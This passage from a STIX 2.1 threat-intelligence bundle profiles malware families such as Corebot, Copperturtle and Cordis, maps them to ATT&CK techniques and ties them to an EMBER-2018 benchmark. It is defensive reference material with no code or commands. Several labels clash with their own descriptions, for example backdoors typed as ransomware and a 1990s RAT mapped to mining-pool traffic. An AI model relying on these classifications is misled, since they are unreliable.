      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Coolmirage",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/coolmirage"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c04a9394-f73a-5b22-bc10-411d87647f9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f6865f6-e168-559f-901d-c070747cffd3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coolmirage exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18c280a9-9d07-5f41-952c-6efe9f9ca4cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f6865f6-e168-559f-901d-c070747cffd3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coolmirage exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca470297-4943-5fcf-bd7e-25f915eca0f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f6865f6-e168-559f-901d-c070747cffd3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coolmirage exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9531e3b-776a-5a5c-a55a-0f62c227f4df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f6865f6-e168-559f-901d-c070747cffd3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coolmirage exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd0d39d2-927f-5881-adca-a20c4d656e3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f6865f6-e168-559f-901d-c070747cffd3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coolmirage exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a55b419-1a1b-50d1-8966-c2050cb6db94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Coolvibes",
      "description": "Coolvibes is a legacy Remote Access Trojan (RAT) that gained notoriety in the late 1990s and early 2000s for enabling unauthorized control over Windows operating systems. Utilizing a standard client-server architecture, the malware secretly installs a server module on the victims PC, which binds to a specific port and listens for incoming commands from the attackers client interface. Coolvibes is particularly recognized for its extensive and somewhat juvenile feature set, which includes serious capabilities like file system browsing, registry editing, and password theft, alongside harassment features such as opening and closing the CD-ROM tray, hiding the Windows taskbar, and displaying persistent, unclosable message boxes. Distributed frequently via P2P file-sharing networks and bundled with cracked software or fake game generators, Coolvibes heavily relies on user deception for execution. Although easily detected and removed by modern endpoint protection, it remains a classic example of early script-kiddie malware tools. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Cool Vibes RAT",
        "Win32.Coolvibes"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Coolvibes",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/coolvibes"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--513b2f9e-dfee-51ec-a7bd-eefedf903a4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a55b419-1a1b-50d1-8966-c2050cb6db94",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coolvibes exhibits technique T1071 (Application Layer Protocol (Stratum Protocol to Mining Pools))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87e85fb7-a8c8-59e0-84d1-ba0e33799920",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a55b419-1a1b-50d1-8966-c2050cb6db94",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coolvibes exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6fdd095a-82cd-5fe9-8b74-bfbc5f9eca8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Copperturtle",
      "description": "<h3>Executive Summary</h3>\nCopperTurtle is a sophisticated Trojan and custom backdoor frequently associated with targeted espionage operations and Advanced Persistent Threat (APT) groups. It is designed for long-term persistence, covert data exfiltration, and facilitating deep lateral movement within high-value corporate or government networks. Unlike \"smash-and-grab\" ransomware, CopperTurtle is engineered to remain undetected for months, quietly siphoning sensitive intellectual property or strategic communications.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCopperTurtle is typically deployed via highly targeted spear-phishing campaigns tailored to specific individuals within an organization (whaling). The payloads often utilize zero-day exploits or advanced malicious macros embedded in contextually relevant documents.\n\nOnce active, it exhibits advanced tradecraft:\n<ul>\n<li><strong>Custom C2 Protocols:</strong> Rather than using standard HTTP for Command and Control (C2), CopperTurtle often utilizes custom, encrypted protocols or abuses legitimate cloud services (like Dropbox or Google Drive APIs) to blend its exfiltration traffic with normal corporate network activity.</li>\n<li><strong>Modular Architecture:</strong> The backdoor is modular. The APT operators can dynamically load specific plugins into memory to perform tasks such as keylogging, screen capturing, credential dumping (via Mimikatz), or network scanning, without writing these tools to the hard drive.</li>\n<li><strong>Defense Evasion:</strong> CopperTurtle utilizes advanced techniques like Process Doppelg\u00e4nging or DLL Side-Loading to execute its malicious code under the guise of signed, legitimate Windows binaries, making it extremely difficult for traditional AV to detect.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA CopperTurtle detection is an active crisis. It indicates that a highly skilled, likely state-sponsored or top-tier criminal organization has deeply compromised the network. The primary threat is the catastrophic loss of confidential data, intellectual property, and trade secrets.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Do Not Immediately Isolate (Observe first):</strong> In an APT scenario, immediately isolating the machine may tip off the attackers, causing them to deploy destructive wipers or bury deeper into the network. Engage a specialized Incident Response (IR) firm immediately to monitor the C2 traffic and identify the full scope of the breach.</li>\n<li><strong>Hunt for Lateral Movement:</strong> Assume the initial endpoint is just a beachhead. IR teams must hunt through Active Directory logs, firewall telemetry, and EDR data to identify all other compromised machines and compromised service accounts.</li>\n<li><strong>Coordinated Eradication:</strong> Remediation requires a coordinated, enterprise-wide \"burn down\" of the attacker's infrastructure. This involves simultaneously wiping all infected machines, globally rotating all credentials (especially `krbtgt`), and severing all identified C2 connections at once.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.CopperTurtle",
        "Backdoor.APT.CopperTurtle",
        "Win32/CopperTurtle"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Copperturtle",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/copperturtle"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c407aac4-9818-5d38-8130-badde1257095",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fdd095a-82cd-5fe9-8b74-bfbc5f9eca8e",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Copperturtle exhibits technique T1071 (Application Layer Protocol (Stratum Protocol to Mining Pools))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1574.002: DLL Side-Loading",
      "description": "MITRE ATT&CK Technique T1574.002 (DLL Side-Loading) under tactic defense-evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1574.002",
          "url": "https://attack.mitre.org/techniques/T1574/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--305f5247-0783-59ec-b4c0-c9473bfba927",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fdd095a-82cd-5fe9-8b74-bfbc5f9eca8e",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Copperturtle exhibits technique T1574.002 (DLL Side-Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8012b3f-b8c2-554f-aa9b-cfebf6ebe466",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6fdd095a-82cd-5fe9-8b74-bfbc5f9eca8e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Copperturtle exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--38db7c0e-1d10-5d5c-9dd1-ea1f93eaeec0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cordis",
      "description": "Trojan:Win32/Cordis is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cordis</b><br>To an end-user, a Cordis infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cordis is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cordis is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Cordis frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cordis reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cordis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cordis"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ee038de-d366-5d9e-a5d8-7fc0cf19bc2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38db7c0e-1d10-5d5c-9dd1-ea1f93eaeec0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cordis exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7b40045-bc40-562b-b2f0-86398fca2667",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38db7c0e-1d10-5d5c-9dd1-ea1f93eaeec0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cordis exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f65602ca-62af-5374-af1e-1e4cb10147fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38db7c0e-1d10-5d5c-9dd1-ea1f93eaeec0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cordis exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1d96c6e-fb35-5fce-89a6-c16b516515e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38db7c0e-1d10-5d5c-9dd1-ea1f93eaeec0",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cordis exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--93e29cd1-27b2-567a-b847-94e6a8c2746f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38db7c0e-1d10-5d5c-9dd1-ea1f93eaeec0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cordis exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c6b9be98-2687-5295-81eb-f7f907c143cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Corebot",
      "description": "Trojan:Win32/Corebot is a highly sophisticated, modular **Banking Trojan** and **Infostealer**. Originally discovered in 2015 acting as a generic credential stealer, Corebot rapidly evolved, integrating a massive web-inject plugin that allowed it to specifically target online banking portals, intercept two-factor authentication (2FA), and steal financial data in real-time. Its highly modular architecture means the botmaster can deploy custom plugins to adapt to new security measures instantly.<br><br><b>Understanding the Corebot Threat</b><br>To an end-user, Corebot operates invisibly. When they attempt to log into their bank, the website looks perfectly normal, but the trojan is actively manipulating the HTML content (Web-Injects) to harvest credentials. For a security operations center (SOC), Corebot represents a critical, high-severity breach. Its modular nature (`T1129`) means it can download secondary modules to act as a point-of-sale (POS) scraper, a cryptocurrency wallet thief, or a VNC backdoor.<br><br><b>Execution and Web-Inject Mechanics</b><br>Corebot is primarily distributed via highly targeted spear-phishing campaigns or exploit kits (`T1189`). Upon execution (`T1204.002`), it establishes persistence via Registry Run keys (`T1547.001`). Its core functionality relies on advanced process injection (`T1055.001`). It injects its malicious DLL into all active web browsers (`chrome.exe`, `iexplore.exe`, `firefox.exe`). Once injected, it hooks into the browser's networking APIs (like `HttpSendRequest`). When the user visits a targeted banking URL, Corebot intercepts the traffic *before* it is encrypted via SSL/TLS (`T1185`). It then uses its Web-Inject configuration file to modify the DOM of the banking page, presenting the user with fake login forms or requests for 2FA tokens, routing the stolen data directly to the C2 server.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is catastrophic financial fraud, credential theft, and total compromise of the user's digital identity. Host-based IoCs include EDR alerts for DLL injection into browser processes and the presence of hidden, randomly named directories in `%AppData%` containing encrypted configuration files. Network IoCs include encrypted C2 traffic utilizing custom domain generation algorithms (DGAs). (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Corebot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/corebot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b64a20ae-fd69-5e10-8b5a-fa7ee4d27473",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6b9be98-2687-5295-81eb-f7f907c143cb",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Corebot exhibits technique T1185 (Browser Session Hijacking (Man-in-the-Browser Web-Injects))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cefbe110-3e46-5c8d-b4c0-19ed5cc817e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6b9be98-2687-5295-81eb-f7f907c143cb",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Corebot exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a72cb134-bbb2-5f76-a6ea-c5ef12b1bd68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6b9be98-2687-5295-81eb-f7f907c143cb",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Corebot exhibits technique T1129 (Shared Modules (Modular plugin architecture))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9e0b799-a54f-5929-a3fb-f2e85163c264",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6b9be98-2687-5295-81eb-f7f907c143cb",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Corebot exhibits technique T1552.001 (Credentials In Files (Stealing stored browser passwords))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--281119fc-3f27-57bb-a43a-289ac244af07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Corpse",
      "description": "<h3>Executive Summary</h3>\nCorpse is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCorpse is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Corpse operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Corpse ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Corpse receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Corpse infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Corpse executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Corpse frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Corpse",
        "Downloader.Corpse",
        "Win32/Corpse"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Corpse",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/corpse"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7f479b8-1853-5ba9-a657-8f0c07251a2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--281119fc-3f27-57bb-a43a-289ac244af07",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Corpse exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78fdcb98-2356-5830-889a-8b9890d40c9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--281119fc-3f27-57bb-a43a-289ac244af07",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Corpse exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7cc9cf51-ba5e-5793-b76b-fa258202b633",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--281119fc-3f27-57bb-a43a-289ac244af07",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Corpse exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8d0a6f79-68c6-56ea-8848-357af56f7782",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Corrempa",
      "description": "Trojan:Win32/Corrempa is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Corrempa</b><br>To an end-user, a Corrempa infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Corrempa is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Corrempa is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Corrempa frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Corrempa reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Corrempa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/corrempa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d94d3c74-22b3-5ecb-b09f-267ab694fac5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d0a6f79-68c6-56ea-8848-357af56f7782",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Corrempa exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc5ab64c-0934-5a1d-b426-565a951d8ccd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d0a6f79-68c6-56ea-8848-357af56f7782",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Corrempa exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--118850f0-45f5-5e24-84f1-b0a6a824e7a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d0a6f79-68c6-56ea-8848-357af56f7782",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Corrempa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e441e1c-bd70-500f-95db-dcded4b7ec88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d0a6f79-68c6-56ea-8848-357af56f7782",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Corrempa exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0069a8e6-bb5b-522e-a361-405e706999b2",
